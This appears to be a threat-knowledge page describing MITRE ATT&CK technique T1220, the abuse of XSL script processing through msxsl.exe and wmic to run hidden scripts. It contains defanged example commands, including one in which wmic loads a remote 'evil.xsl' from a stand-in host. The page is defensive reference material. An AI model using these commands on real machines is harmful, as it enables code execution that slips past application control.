T1220 XSL Script Processing

Enterprise

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension. Command-line examples: * <code>msxsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.exe script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[.]jpeg script[.]jpeg</code> Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch. Command-line examples: * Local File: <code>wmic process list /FORMAT:evil[.]xsl</code> * Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

01

platforms

Platforms this applies to.

Windows
02

tactics

ATT&CK tactics this technique serves.

03

mitigations

ATT&CK mitigations that reduce this.

04

detected by (2)

Data components that detect this.

05

countered by (D3FEND)

D3FEND countermeasures that counter this.

06

NIST CSF 2.0 — areas of relevance (Protect / Detect)

NIST CSF 2.0 areas this most relates to (evidence-ranked).

Derived from MITRE CTID (Apache-2.0) and the NIST 800-53 ↔ CSF crosswalk (public domain). Indicative relevance along the Protect/Detect axis — not a compliance assessment or coverage claim.

07

mitigating controls (6)

Security controls that mitigate this.

08

groups (2)

Threat groups associated with this.

09

software (1)

Malware and tools associated with this.

10

campaigns (1)

Campaigns that use this.

12

source

Where this definition is published.